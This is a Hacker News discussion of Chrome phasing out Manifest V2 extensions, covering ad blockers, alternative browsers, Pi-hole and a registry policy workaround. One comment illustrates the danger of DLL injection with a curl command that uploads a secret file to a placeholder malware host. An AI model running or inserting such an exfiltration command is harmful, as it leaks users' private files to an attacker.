14 ms·

"Begin disabling installed extensions still using Manifest V2 in Chrome stable"

552 points by freedomben 2y ago

Kelteseth 2y ago
https://www.mozilla.org/en-US/firefox/new/ https://www.mozilla.org/en-US/firefox/new/
- TwoNineA 2y ago
  uBlock Origin + Multi Account Containers makes Firefox enjoyable to use.
- anovick 2y ago
  Main reason I'm still using Chrome and can't switch to Firefox: https://connect.mozilla.org/t5/ideas/feature-suggestion-firefox-desktop-chosen-bookmark-shortcut/idc-p/41485/emcs_t/S2h8ZW1haWx8dG9waWNfc3Vic2NyaXB0aW9ufExOSVdKREtSWTExVktQfDQxNDg1fFNVQlNDUklQVElPTlN8aEs#M24106 https://connect.mozilla.org/t5/ideas/feature-suggestion-fire...
  - deleted 2y ago
    [deleted]
  - undercut 2y ago
    There is something wrong with your Firefox installation (maybe try a new profile with vanilla settings). I use search shortcuts all the time (w + spacebar for wikipedia) and it's exactly the same behavior in Firefox than Chrome/Edge.
  - prettymuchnoone 2y ago
    hm i'll post this in the thread over there later but i'm pretty sure ff has that? https://imgur.com/a/gXrsBq3 https://imgur.com/a/gXrsBq3
- varun_ch 2y ago
  Chrome to Firefox is a relatively easy switch, especially for those that don’t depend on Google sync. The main sources of friction for me were the lack of a good profile switching UI (solved with a browser extension that mimics the Chrome menu), and weird security requirements for homemade extensions (IIRC if you want to have the extension persist after restarting Firefox, you need to sign the extension, which is a pain) For users switching from Arc, there is no good alternative, but Firefox with Sidebery and custom CSS comes close.
  - elashri 2y ago
    > For users switching from Arc, there is no good alternative, but Firefox with Sidebery and custom CSS comes close. I would suggest zen browser [1] for those people. [1] https://zen-browser.app https://zen-browser.app
    - MrAlex94 2y ago
      I'd like to pop in and say Waterfox also has a list of comparable features: https://www.reddit.com/r/waterfox/comments/1ff0kzz/comment/lmr2wq6/ https://www.reddit.com/r/waterfox/comments/1ff0kzz/comment/l...
  - tapoxi 2y ago
    Arc has a built-in adblocker, so it depends if you're tied specifically to uBlock Origin (non-lite) features. I'm not sure what other extensions would be broken in Manifest v3.
  - beached_whale 2y ago
    One feature that is missing, removed, from Firefox is PWA's/running sites as apps. This is super handy for low trust apps
    - Bobaso 2y ago
      same here, the one thing keeping me on chrome
  - 2y ago
- foxandmouse 2y ago
  I love Mozilla, but I’m concerned about its future. Since 80% of its income reportedly comes from the Google search deal, do they have a plan to replace it after the recent ruling? And can they maintain their current level of autonomy while doing so?
  - cma 2y ago
    The Android version of Firefox still doesn't have working keyboard shortcuts after 13 years or a way to delete individual history items to prevent broken auto complete. The money is going into lots of other things than the browser.
    - SAI_Peregrinus 2y ago
      I'm not sure keyboard shortcuts for a version designed to run on an OS for devices without keyboards will ever be a priority. You can use a keyboard on an Android device, but the vast, vast majority of Android devices are phones that never get used with keyboards. I don't expect there's much priority to adding that feature. I agree that a lot of money is going to things other than the browser though.
      - cma 2y ago
        Many people use tablets and foldables with keyboards
  - EasyMark 2y ago
    Killing adblocking in Chrome might be a boost they need to attract someone else to pay for being the landing search page. I doubt if anyone will pay as much as google though. Or probably even close.
neoromantique 2y ago
On Mac OS: https://kagi.com/orion/ https://kagi.com/orion/
- codetrotter 2y ago
  From the Orion FAQ: > Is Orion open-source? > We’re working on it! We’ve begun with some of our components and intend to open more in the future. > Forking WebKit, porting hundreds of APIs and writing a browser app from scratch has been challenging for our small team. Properly maintaining an open-source project takes time and resources we’re short on at the moment, so if you want to contribute at this time, please consider becoming active on orionfeedback.org.
  - vinnymac 2y ago
    I won’t be touching this binary with a ten foot pole until every line of code is open. Many excellent alternatives already exist that are also open and free, I don’t see a compelling argument to use this software on any device at the moment.
    - freediver 2y ago
      Curious why exactly and what is wrong with closed source paid for products? By that token nobody should be touching Safari or iOS/macOS for that matter?
      - throwaway98346 2y ago
        > By that token nobody should be touching Safari or iOS/macOS for that matter? Ideally, yes.
    - neoromantique 2y ago
      Fair play, but by that logic you shouldn't touch Mac OS as well, so the whole thing is moot since Mac OS is the only OS that is supported by Orion.
    - 2y ago
emaro 2y ago
For people that have somehow missed the story, manifest v3 removed support for certain powerful network apis, severly limiting ad-blockers capabilities. uBlock Origin will not work anymore without manifest v2 (there's a v3 compatible lite version of uBlock Origin).
- jokoon 2y ago
  I saw there is a manifest v3 ublock lite. I don't understand why and how it would be less capable, and so far I have not read the details of how/why. So far, it's just rumors to me. I will keep using firefox anyway, but honestly I am still waiting for a clearer explanation.
  - kristofferR 2y ago
    You can't just call stuff you simply don't bother to look up "rumors". Read up here: https://github.com/uBlockOrigin/uBOL-home/wiki/Frequently-asked-questions-(FAQ) https://github.com/uBlockOrigin/uBOL-home/wiki/Frequently-as...
  - sjnonweb 2y ago
    With manifest v2, the extension could dynamically intercept requests and block them based on a custom rule. With v3, extensions have to predefine the rules for blocking. Which is the limiting factor
    - hypeatei 2y ago
      That and certain features like the element zapper in uBO aren't available in Lite.
    - sho 2y ago
      > extensions have to predefine the rules for blockin And there's a limit of 5000 such rules.
      - nolist_policy 2y ago
faefox 2y ago
Switch to a different browser! The Chrome monopoly only exists because we collectively allow it to exist.
- andrewjf 2y ago
  Same with all the other google ecosystem. Gmail, maps, android. All just mechanisms for data collection and ad networks.
blakesterz 2y ago
Has anyone been using the v3 compatible version of uBlock Origin? Have you noticed much of a difference? From what I read there isn't supposed to be much of a difference?
- kccqzy 2y ago
  I have been using the Firefox version of it for more than a year by now, basically as soon as it came out. I commented on HN that I was going to do it: https://news.ycombinator.com/item?id=37219071 https://news.ycombinator.com/item?id=37219071 There's no difference whatsoever. And it's not surprising because on my iOS device I've been using similarly architected content blockers since 2015. There's no issue with declarative ad blocking. Of course this differs with the kind of sites you visit. So you need to try it on your own. I can believe that perhaps for some people this is a downgrade, but don't automatically assume uBlock Origin Lite won't work well for you.
  - drivebycomment 2y ago
    Anyone jumping up and down about MV3 while using Mac or iOS are hypocrites, since MV3 is essentially doing the same thing Safari did years ago, finally matching the security and the privacy in that regard. The reduction in adblocking is so miniscule in aggregate - since declarative approach will always cover all the major advertisers - that it's not even a meaningful "trade-off".
    - SoftTalker 2y ago
      I see boatloads of ads in Safari on iOS. To the point that web browsing on my phone is intolerable, so I don't do it.
      - kccqzy 2y ago
        This is such a data-free anecdote. Which websites are showing ads? Which ad blocker did you install on iOS?
      - 2y ago
est 2y ago
Can't we avoid the Manifest bullshit altogether? I remember how IE plugins roles: just dll inject into the process.
- emestifs 2y ago
  Inject dll's from the internet right into the browser. Yes, let's!
  - yjftsjthsd-h 2y ago
    I'm not convinced that this is a good idea, but I don't think that's the reason; don't all your dlls come from the internet?
    - emestifs 2y ago
      My comment was sarcasm. The difference here is are you downloading a random dll from a well known source or from http://free-vpn-fast-internet.dwnloadfree.ru/free-chrome-vpn.dll.exe http://free-vpn-fast-internet.dwnloadfree.ru/free-chrome-vpn...? My mom isn't going to know the difference and will click the big green DOWNLOAD NOW button blindly.
      - yjftsjthsd-h 2y ago
        But that's not a difference, is it? Can't Windows enforce that DLLs have to be signed just like extensions?
        tredre3 2y ago
        Injecting a DLL in the browser implies code running with the browser's permissions, which means the DLL will be able to access everything on your system. For example `system("curl https://malware.com https://malware.com -F@/etc/secret-file")` will be possible. Another example is that it could also see all your saved passwords. A javascript extension cannot do that. It is sandboxed and is bound to a permission system limiting what it can do on top of that. Signing a DLL only proves that the author is who he says he is. Not that his intentions are good. Same for browser extensions. So it's best to limit what the extension can do to begin with.
freedomben 2y ago
Notably, Firefox is not removing v2 support (at least for now as of March 2024) > Firefox, however, has no plans to deprecate MV2 and will continue to support MV2 extensions for the foreseeable future. And even if we re-evaluate this decision at some point down the road, we anticipate providing a notice of at least 12 months for developers to adjust accordingly and not feel rushed.[1] [1]: https://blog.mozilla.org/addons/2024/03/13/manifest-v3-manifest-v2-march-2024-update/ https://blog.mozilla.org/addons/2024/03/13/manifest-v3-manif...
- simcop2387 2y ago
  Along with that, I'd hope they'll add needed support for proper adblocking even with v3 and beyond
- EasyMark 2y ago
  To my knowledge the “big” chrome engine alternatives aren’t either. I know that Vivaldi and Brave plan on keeping around v2 as long as it is economically feasible
  - echoangle 2y ago
    This sounds like Android phone manufacturers making fun of apple for removing the headphone jack and then doing it themselves a year later. Are they seriously going to maintain V2 support for a relatively small percentage of Powerusers which probably are mostly already using Firefox anyways? The point of being economically infeasible is probably in a month or so.
    - therein 2y ago
      I think it comes down to how aggressive Chrome will be at changing the internal APIs that it uses. They could choose to make it a very expensive patch to maintain. But I think they would have to go out of their way to do that.
    - mgiampapa 2y ago
      Firefox (and uBlock and BPC etc) works great on Andriod, but you have to disable Chrome to get Google apps to play nice.
sirolimus 2y ago
Goodbye Chrome, hello firefox
freedomben 2y ago
I hoped this day would never arrive, but alas all good things must come to an end. Since adopting uMatrix, my web experience radically changed and I can never go back to a pre-uMatrix world. With the v2 removal, I've got to eliminate Chrome from my life. I also adopted a workflow that has been very conveninent for many years, essentially using Chrome for personal stuff and Firefox for work and other various things (especially once container support arrived!). It's not going to be easy to undo years of muscle memory, but I guess it's time to bite the bullet.
sho 2y ago
Hopefully this is the inflection point for Chrome. Despite all their made-up "security" reasons, everyone knows this is solely about making adblock less effective. For many users, adblock is what makes chrome bearable - and if they make it unbearable, then those users will leave. Slowly but surely. Google seems much too sure of itself making this change. I hope their arrogance pays off just the same as Microsoft's did with IE.
- Rychard 2y ago
  The widespread adoption of Chrome was largely driven by word of mouth, people like you and I installing it on our friend's/relative's computers and telling them it was safer/faster/better. Nothing stops us from doing the same thing again. I've been recommending Firefox to all my family/friends/colleagues for years (ever since I've seen the writing on the wall for Chrome). While Firefox isn't perfect, it's in a much better place than Chrome is, and meets the the needs of nearly 100% of people.
  - undercut 2y ago
    >The widespread adoption of Chrome was largely driven by word of mouth No, it was driven by having a banner in the most privileged spot of the Internet, Google.com (the most visited site in the world with 0 ads on the homepage) saying that was faster and more secure than the alternatives. In fact Firefox benefited from some free ads on Google.com against Internet Explorer before Google developed Chromium.
    - freedomben 2y ago
      It was kind of both, depending on the timeline. Early on it was word of mouth, then Google saw they had momentum and they capitalized on it with the banners and aggressive marketing.
      - undercut 2y ago
        It was a long time ago but I'm 99% sure that there was a banner for Chrome on Google.com since the first public release.
rtawsc 2y ago
Darn, ublock also no longer works on Firefox for YouTube. At the beginning of each video there is one forced ad and sometimes the video stops for no reason. I suppose they want everyone to stop using the Internet and read books.
- eek2121 2y ago
  Disable all other extensions and update your lists. It will work then.
- archerx 2y ago
  The Brave Browser still blocks YouTube ads.
- atmavatar 2y ago
  I run uBO on FF, and I've yet to see any forced ads or video stops. I'm on FF 131.0.2 with uBO 1.60.0.
  - zamalek 2y ago
    Are you on premium. YouTube seemingly doesn't care about my adblocker because I am on premium.
- aspenmayer 2y ago
  You probably need to update your filter lists. There is a megathread on Reddit for this issue, because it can have a lot of other causes also. https://old.reddit.com/r/uBlockOrigin/comments/1etvawp/youtube_ads_detection_breakages_2024_08_16_ubo/ https://old.reddit.com/r/uBlockOrigin/comments/1etvawp/youtu...
- deadbunny 2y ago
  Works for me. I have Youtube on constantly when at my desk as background noise and uBo is still blocking everything perfectly fine. Edit: Seems Google/Youtube are experimenting/testing with injecting ads directly into the video streams: https://old.reddit.com/r/uBlockOrigin/comments/1de9kv5/youtube_is_currently_experimenting_with/ https://old.reddit.com/r/uBlockOrigin/comments/1de9kv5/youtu...
Mrdarknezz 2y ago
Totally unrelated, firefox is an excellent browser
- deleted 2y ago
  [deleted]
- zb3 2y ago
  But not when you want to install GrapheneOS using the web-based installer, because Mozilla refuses to implement WebUSB
  - contravariant 2y ago
    Sounds like a reasonable trade-off. I imagine they couldn't figure out what an appropriate warning window would look like for that kind of protocol.
    - teruakohatu 2y ago
      Chrome supports WebUSB. The bowser asks if you want to connect a device and presents a list of supported devices. It works amazingly well.
      - account42 2y ago
        So the user can be trusted to allow arbitrary websites raw access to potentially sensitive USB devices but cannot be trusted to give extensions the required access to fully block ads?
ck2 2y ago
Time to try Supermium again, I couldn't get it to install using my Chrome profile last time, maybe fixed by now. Unless Supermium is following the manifest path too? Doubt it. https://en.wikipedia.org/wiki/Supermium https://en.wikipedia.org/wiki/Supermium
greenie_beans 2y ago
can i just setup dns blocking on my network to block the ad requests? especially on youtube, ublock origin stopped working a few weeks ago.
- WesolyKubeczek 2y ago
  Not enough, especially since your browser may weasel out of it by using its own DNS via DoH.
  - surajrmal 2y ago
    Are you aware of any that do this? I've been using pihole for years and have no complaints. I've only seen smart TVs seem to do this, although it's usually configurable.
    - WesolyKubeczek 2y ago
      One example that I was remembering was Chromecast. It needed Google DNS to work at all. In general, though if an app sticks to "known good" DNS over HTTPS and pins its certificate to boot, it will bypass DNS-based adblocking very easily, and additionally will punish you by not working at all if you try to do any firewall/routing trickery.
- sunshowers 2y ago
  So yes... but the issue with DNS blocking is in the exceptions. First, exceptions are at the domain level. So you can't say "allow this domain on this site", you have to blanket-allow a domain or not. Second, the UX for making exceptions isn't great. With uBO it's just a couple of clicks. With something like Pi-hole it's more complex: https://discourse.pi-hole.net/t/how-do-i-whitelist-or-blacklist-a-domain/244 https://discourse.pi-hole.net/t/how-do-i-whitelist-or-blackl...
WesolyKubeczek 2y ago
I wish some brave enough (no relation to Brave) soul patched Blink so it became possible to delegate URL blocking decisions to an external process via some sort of IPC. In goes a full URL and maybe an opaque session ID so some state may be tracked, out goes a boolean value. Assume all are allowed if this process cannot be connected to.
- userbinator 2y ago
  You can already do this with a MITM proxy, and it works in all browsers.
  - jakeogh 2y ago
    Bypassing pinned certs is always going pass attention? (or whatever deliberately harder to lookup term they make up?) https://news.ycombinator.com/item?id=41813480 https://news.ycombinator.com/item?id=41813480 https://m.youtube.com/watch?v=F8cT1YCsxgo https://m.youtube.com/watch?v=F8cT1YCsxgo
  - wbadart 2y ago
    I thought this was a cool idea, so I looked around for existing implementations and found https://github.com/barre/privaxy https://github.com/barre/privaxy Been a while since the last commit, so I'm not sure if it's maintained, but I might try adding it (or something similar) to my pihole.
lemagedurage 2y ago
For people who want to stick with a Chrome-based browser while still using the full-featured uBlock Origin: Brave will keep supporting uBlock Origin even after Manifest V2's removal from Chromium. https://brave.com/blog/brave-shields-manifest-v3/ https://brave.com/blog/brave-shields-manifest-v3/
- the_gipsy 2y ago
  For how long, though? And what will be the next marketing scam after crypto/tokens? Something with AI?
- ParetoOptimal 2y ago
  Note that Brave's creator opposes same sex marriage, is a Coronavirus "skeptic", and his silly cryptocurrency is made to work with brave browser.
  - gabrielsroka 2y ago
    Brave's creator, B. Eich, also created JavaScript, so I assume you have that disabled everywhere.
    - timeon 2y ago
      Oh I wish.
    - rjh29 2y ago
      Yes, he created an absolutely terribly designed language that we're still dealing with today. That is not a good thing.
  - sunaookami 2y ago
    >opposes same sex marriage That's not true, he donated to organizations supporting California Proposition 8 which banned same-sex marriage which by the way was supported by the majority back then in California. That was also 16 years ago, it's time to let it go and stop spreading misinformation. You should instead not rely on ad-hominem and critize Brave for being ridden with cryptocurrency and doing shady stuff.
bdcravens 2y ago
Anyone using a PiHole to block on their network? I've been aware of it, but honestly, ad blocking was good enough that I didn't go down that route. Is PiHole good enough? Is there a big problem with false positives?
- surajrmal 2y ago
  Id argue pihole is roughly equivalent to what you can do with manifest v3 based afld blockers. I use it as my primary ad blocker as well, and don't really understand why folks are upset about losing V2 that much. It seems like removing root in favor of more granular permissions which is generally a good thing.
  - shbooms 2y ago
    I agree that more granular permissions is better (in terms of dictating which sites an extension has access to) but I think the main problem as I understand it is that this is an entirely seperate issue from the one that nukes uBO. V3 introduces a hard limit on the total number network filters an extension is allowed to set and it's a laughably low number. Far below what uBO uses even on a barebones, default setup
  - Dylan16807 2y ago
    There was already a specific permission for messing with raw network requests. v3 removes the ability to block, but not the ability to monitor. It doesn't make anything more granular.
- kstrauser 2y ago
  Yep, and it's great. Beyond ads, you can also configure it to block malware. Got a phishing email from scammer.ru? Nothing happens even if you to click the link in it because that name won't resolve. There were a very short list of exceptions, maybe 2 or 3, I had to add to ours over the years, mainly for hostnames like tracking.shippingcompany.com that got added by mistake. Note that it does nothing to block DNS over HTTPS lookups. If your browser insists on going around your LAN's DNS setup, Pi-hole can't help you.
- 2y ago
lapcat 2y ago
This submission title does not appear to be accurate. Here's what was actually said: > October 9th 2024: an update on Manifest V2 phase-out. > Over the last few months, we have continued with the Manifest V2 phase-out. Currently the chrome://extensions page displays a warning banner for all users of Manifest V2 extensions. Additionally, we have started disabling Manifest V2 extensions on pre-stable channels. > We will now begin disabling installed extensions still using Manifest V2 in Chrome stable. This change will be slowly rolled out over the following weeks. Users will be directed to the Chrome Web Store, where they will be recommended Manifest V3 alternatives for their disabled extension. For a short time, users will still be able to turn their Manifest V2 extensions back on. Enterprises using the ExtensionManifestV2Availability policy will be exempt from any browser changes until June 2025. See our May 2024 blog for more context.
- wtallis 2y ago
  They said "we have started disabling Manifest V2 extensions on pre-stable channels", and the "Chrome canary" referenced in the submission title is a pre-stable channel. The submission title is accurate, but narrowly highlighting only one facet of Google's update statement.
  - lapcat 2y ago
    That's old news, as noted in my other comment: https://news.ycombinator.com/item?id=41810420 https://news.ycombinator.com/item?id=41810420 The change here is actually about the stable channel. Also, the title makes it sound like MV2 code has been removed from the source, but that's not the case.
    - wtallis 2y ago
      > That's old news, as noted in my other comment: None of your comments have actually provided evidence for this assertion, and the previous update dated June 3rd 2024 says users will start seeing a warning. So when between June 3 and October 9 did Google start actually disabling MV2 extensions, and where was it publicized prior to their October 9 update?
sunaookami 2y ago
Adblockers are my least concern, a lot of other useful add-ons won't work, like Imagus, Redirector, Violentmonkey, etc. So I switched to Firefox a few months ago.
Gimpei 2y ago
What does this mean for browsers derived from chrome, like Arc? I heard they plan on continuing to support Manifest v2, but will ublock continue to be maintained for chrome?
- paulryanrogers 2y ago
  MV2 code should remain well into 2025 since enterprises can still enable MV2 extensions. After that they may have to hard fork, which could become increasingly costly. Though they could coordinate to minimize duplicated efforts.
- noname120 2y ago
  https://resources.arc.net/hc/en-us/articles/25540117353623-What-Happens-to-Ad-Blocking-in-Arc-when-Google-upgrades-to-Manifest-V3 https://resources.arc.net/hc/en-us/articles/25540117353623-W...
pentagrama 2y ago
> Users will be directed to the Chrome Web Store, where they will be recommended Manifest V3 alternatives for their disabled extension. I'm curious about which extensions will be recommended to replace uBlock Origin after it's disabled. I'm sure those alternatives will see a surge in installs. Also, why doesn't the creator of uBlock Origin update the V2 version to the V3 version? I know V3 version isn't as good as V2, but if you're developing that product, at least give your users something instead of leaving them with nothing. Otherwise, they may end up choosing poor alternatives.
- tredre3 2y ago
  Everything you said has already been done: https://chromewebstore.google.com/detail/ublock-origin-lite/ddkjiahejlhfcafbddmgiahcphecmpfh https://chromewebstore.google.com/detail/ublock-origin-lite/...
  - pentagrama 2y ago
    This V3 version will be pushed as a regular update on the current V2 version before is disabled? I think that must be done now to avoid even the alerts on users.
deleted 2y ago
[deleted]
dtgm92 2y ago
I will recommend Librewolf. Default Firefox has a lot of garbage and bloat.
OptionOfT 2y ago
I am tied to Microsoft Edge for sync between desktop and phone, and Microsoft Edge on iOS has AdBlock built in. But looking at this it seems inevitable that Edge will retain V2. As to switching to Firefox? I'd love to, but Firefox on iOS refuses to put in an AdBlocker. Yea, you can use Firefox Focus but that one doesn't sync. I don't understand Mozilla's stance on this.
- throwaway48476 2y ago
  Firefox doesn't exist on iOS, it's just reskinned safari. It's not Mozillas fault that Apple won't let you install a different web engine.
  - OptionOfT 2y ago
    Edge on iOS, which is also reskinned Safari, has AdBlock Plus integrated. So it IS possible.
    - throwaway48476 2y ago
      Safari allows some ad blocking but nothing close to ublock.
- pavon 2y ago
  AFAIK, Microsoft is disabling manifest V2 extensions in Edge following the same timeline as Chrome[1]. Brave is continuing to run V2 extensions, but has no plan to stand up their own extension store[2], so it isn't clear how users will get the extensions, beyond a few handpicked ones that Brave is supporting[3]. [1] https://learn.microsoft.com/en-us/microsoft-edge/extensions-chromium/developer-guide/manifest-v3 https://learn.microsoft.com/en-us/microsoft-edge/extensions-... [2] https://github.com/brave/brave-browser/issues/15187 https://github.com/brave/brave-browser/issues/15187 [3] https://github.com/brave/brave-browser/issues/28367 https://github.com/brave/brave-browser/issues/28367
- int_19h 2y ago
  Take a look at Vivaldi, as well - it covers all major desktop and mobile platforms now and syncs across all of them through their own servers, and it also has integrated adblock.
imbnwa 2y ago
Why is this thread not on the first 4 or 5 pages of HN?
- instagib 2y ago
  Down weighted? Happens when mods see too many comments and not enough upvotes.
  - imbnwa 2y ago
    Ah
dang 2y ago
Recent and related: Chrome Canary just killed uBlock Origin and other Manifest V2 extensions - https://news.ycombinator.com/item?id=41757178 https://news.ycombinator.com/item?id=41757178 - Oct 2024 (46 comments) That one never made the frontpage, so I'm leaving the current thread up.
bijection 2y ago
I've finally switched (back) to firefox today. I switched from firefox to chrome for their superior devtools a few years back, but hopefully firefox has had time to catch up. Everything old is new again!
- echelon 2y ago
  This is why we need to break up Google. Google is a de facto monopoly. They own the entire web. The gateway, the browser, the protocols, advertising, discovery. Google is too big.
  - ragnese 2y ago
    Sure, but we saw this coming a mile away (as in, people have been saying this about Chrome for about a decade). People--especially tech nerds--didn't have to switch to the closed source, conflict-of-interest, browser. But, everyone did, and this is what we get for it. We now have proprietary DRM built in to the web standards, and all kinds of other bullshit, because a bunch of people decided to not learn any lessons at all from Microsoft and Internet Explorer. But, every time Mozilla does something slightly abrasive, HN users pile on about how Mozilla is ruining their privacy-respecting reputation, and then go back to using Chrome... The double-standard is really something else. Maybe instead of getting someone else to break up Google for us, we could just... stop using their shit? I'm typing this from Firefox, I use Proton Mail (and pay for it!) for email, and I mostly search with DuckDuckGo (I know that's not perfect, either). I certainly don't feel like I'm living like a caveman... /rant
    - ilrwbwrkhv 2y ago
      > tech nerds you would be surprised how many devs these days have drunk the big tech coolaid. leetcode all the time and dream of working at google and using chrome and writing javascript. if the tech nerds took a stand and used firefox en masse, we wouldn't have this problem. unfortunately it is now normie season. we have to travel through these dark times.
      - 2y ago
modzu 2y ago
chrome hasnt been cool for a while
greatgib 2y ago
It is really crazy that we are taken hostage/blackmail by whatever harmful decision Google takes in their own interest.
- IncreasePosts 2y ago
  Chromium is open source, you're free to use it.
  - vehemenz 2y ago
    This is irrelevant because the changes are occurring upstream in Chromium by mostly Google developers.
    - IncreasePosts 2y ago
      Open source also means you're free to fork it or freeze your version
      - Dylan16807 2y ago
        Forking is untenable for individual humans with something so complicated, and freezing is dangerously insecure.
        lostmsu 2y ago
        Should we start a HN browser then?
sva_ 2y ago
I was looking for an excuse to switch back to Firefox anyways.
QuantumGood 2y ago
"browsers using the ExtensionManifestV2Availability policy will be exempt from any browser changes until June 2025" To extend ManifestV2 in Chrome, add the text below to a text file, saving and running it as a .reg will create and add a value of 2 to "ExtensionManifestV2Availability" in the HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Google\Chrome key (When you open/run a .reg file, it updates your registry, usually preceeded by a warning.) Alternatively, you could do this manually by pressing the Windows key, type "run" (without the quotes) and enter, type "regedit" (without the quotes) and enter, then navigate as far as you can to HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Google\Chrome key You may find there is no "Chrome" key and will need to create it, as well as creating ExtensionManifestV2Availability -------------------------------------- [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Google\Chrome] "ExtensionManifestV2Availability"=dword:00000002
- exikyut 2y ago
  And IIRC including the quotes in a filename in a save dialog, líke "manifestv2.reg" (incl quotes), will save it with the extension you typed, so you won't end up with 'manifestv2.reg.txt'. So you skip a potentially otherwise needed rename step.
  - gzer0 2y ago
    Wow, thanks for this tip. Saves the effort of having to manually find "all types" in the drop down... this is so much easier. Also, just for clarification: Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Google\Chrome] "ExtensionManifestV2Availability"=dword:00000002 Apparently, the line Windows Registry Editor Version 5.00 is necessary at the beginning of the .reg file. This line indicates the format version for the registry file and tells Windows that it is compatible with the current registry editor (according to GPT). This worked for me. Save the file as: EnableExtensionManifestV2.reg
- EvanAnderson 2y ago
  Single command line (Run as Administrator-- you can do that from the Windows key-R dialog by holding CTRL-SHIFT and pressing ENTER): REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Google\Chrome /v ExtensionManifestV2Availability /t REG_DWORD /d 2
bobajeff 2y ago
I'm addition to all the calls to switch to another browser I'd also have people consider the websites they use as potential dependencies on chrome. Right now most websites don't seem to require any specific chrome feature but with Google's pushing some API's like their Web Environment Integrity proposal I'm worried sites will start to lock their site to Google Chrome and their official Mobile clients.
- mbs159 2y ago
  But what about Safari users? Such a lock-down could force Apple to drop the $20B search engine deal with Google.
etimberg 2y ago
Time to switch my last machine that still uses Chrome as the default.
jbverschoor 2y ago
Well, the web is unusable without an adblocker. Time to move to another browser.
zb3 2y ago
Manifest V3 is not the problem itself. But removing webRequestBlocking and creating some ridiculous limits for the DNR api are, these changes should be reversed downstream.
amatecha 2y ago
... can we just have a browser that has the functionality of uBlock Origin built-in? Feeling nostalgic for a time when browsing HTTP wasn't such a persistently-adversarial experience :(
jakeogh 2y ago
URL requests should go to a OS level, where the user can intercept them at will. We do not need to give browsers the socket API.
AstroJetson 2y ago
And people ask me why I don't run current versions of browsers.
rrrix1 2y ago
If anyone has any guides or blogs related to migrating away from Chrome for a multi-decade user (thousands of bookmarks, saved pages/read later, etc.) I would sure be interested. Every time I try to migrate my very large bookmark collection to another browser, it either misbehaves and partially loses some data or fails completely.
- Ylpertnodi 2y ago
  >Every time I try to It would be good to know what not-chromes you have tried, so as not to suggest 'x', which may have not worked for you.
marcell 2y ago
Would it be possible to do an OS level ad blocker that works similarly to uBO?
- KeepFlying 2y ago
  Seems unlikely with how many different ways ui elements are handles across an OS (including apps that do their own rendering). Though I bet you could block some subset of well known ones and block a lot of the network traffic that feeds ads.
riiii 2y ago
I'm years ahead of them. I disabled Chrome years ago.
lofaszvanitt 2y ago
V3 has some utterly/unnecessarily complicated shite going on, like offscreen documents, and I think it will get worse as time progresses. Google really needs some bludgeoning.
- 0cf8612b2e1e 2y ago
  I have not kept up -what is the steel man argument for V3? Presumably Google has a rationale other than “ad blockers are bad for business”
  - contravariant 2y ago
    Ad blocker-wise I think the best argument is that internalising the traffic blocking can be made a lot more efficient than putting a javascript interpreter in between. The counter argument is that ad-blocking is an arms-race and the only reason a subset of traffic blocking methods is going to work at all is because there isn't a big enough incentive yet. Other than that the arguments in favour of V3 are going to be about the same as for any API update. My guess is a few extra APIs and more granular permissions.
neilv 2y ago
Does Mozilla have a PR blitz, to pick up a big chunk of users who have a moment of disruption, and want their full uBlock Origin? It might've been better, had uBlock Origin Lite not happened, but is there still a migration opportunity here, and is Mozilla working it?
- deleted 2y ago
  [deleted]
- politelemon 2y ago
  They seem to have the opposite going on, they often manage to fumble what little opportunity you'd think they have. Was just thinking of the ubo lite example you mentioned: https://news.ycombinator.com/item?id=41707418 https://news.ycombinator.com/item?id=41707418 And also recently, their poor engagement/comms around Privacy-Preserving Attribution: https://blog.mozilla.org/en/mozilla/improving-online-advertising/ https://blog.mozilla.org/en/mozilla/improving-online-adverti...
cookiengineer 2y ago
There's gonna be a new browser wars. How exciting! Time to do your part. Switch to ladybird! (Insert imaginary we want you for the army poster here)
- zamadatix 2y ago
  I realize I'm about to post something that sounds like the most generic HN slop comments... but, considering it's why Mozilla initially made a whole new language in the first place, I hope most can look past what fanatics would normally say and focus on the scenario: I was ecstatic about Ladybird from a "fun NIH project" perspective but once it became "serious" and had a cross-platform daily-driver long term focus it was quite the let down that the hot new independent kickstart was... still going to be built on C++ anyways. Even the Serenity ecosystem had started work on a NIH memory safe language - Jakt! I'm not going to say the "R" word (mostly because I'm less interested "which" and more interested in the "what") but the one place I'd really like to see memory safety is the new fresh-engined web browser written by a small team (or really, any team). On that front https://servo.org/ https://servo.org/ is "alive" again under the Linux Foundation. It has a focus on being an easily embeddable engine and it seems to be picking up a bit of steam. Whether or not it really takes off remains to be seen. I'll be watching closely though!
  - cookiengineer 2y ago
    I agree with you there, on all parts. My reason for learning Rust in the first place was trying to contribute to the servo engine. But then, Mozilla happened. My hope for servo continues, but it won't go anywhere if it stays in the limbo it has been in after Mozilla ditched it as a project. We need a real browser project, with a full UI/UX and everything, until people take it serious as a base to fork off. The problem with reality is that almost all software is still built on C. Kernels, userspace APIs, libraries, everything. I just wish that we would've gotten something like C ABIs, but with memory safety and VM-to-VM communication in mind, e.g. for Rust and Go, along the way. WebASM / WASI somehow got there, at least in that direction. But it's never seen as a shared object or dll replacement, and always is just a compile target and nothing more - even when the potential is there. Something like that would solve so many problems that all kinds of programming language are trying to solve by themselves, over and over again.
eviks 2y ago
If only Mozilla hadn't wasted all that time and money and created a Chrome-comparable in stability/performance and Vivaldi-comparable in customization, we could've have an easy way out of this current mess... (v3 drops not only ad-blockers but also user style managers, so a significant degradation of the web interfaces)
- TexanFeller 2y ago
  I daily drive Firefox. I haven't found a single website in years that's made me open Chrome. There's nothing slow about Firefox.
  - eviks 2y ago
    I don't daily drive because I have found them, plenty of other people complain about this to make this not unique (though I'd eat that up for more ergonomic general use enabled by customizations)
arctek 2y ago
I think at this point I'd rather pay for a desktop browser, something with blocking baked in at compile time. It would be such a QoL improvement that it's worth paying a yearly subscription for.
- beretguy 2y ago
  I’m already paying for kagi search.
damianh 2y ago
When the hell will firefox have a decent profile manager?? It's the one thing that is preventing me from switching over. No, container tabs are NOT it.
- coldpie 2y ago
  It's not a feature I use, but if you launch with "firefox --ProfileManager" it pops up a profile selection window. Maybe that's in the ballpark of what you want? https://support.mozilla.org/en-US/kb/profile-manager-create-remove-switch-firefox-profiles https://support.mozilla.org/en-US/kb/profile-manager-create-...
  - damianh 2y ago
    The switching UI/UX is atrocious.
- deleted 2y ago
  [deleted]
nox101 2y ago
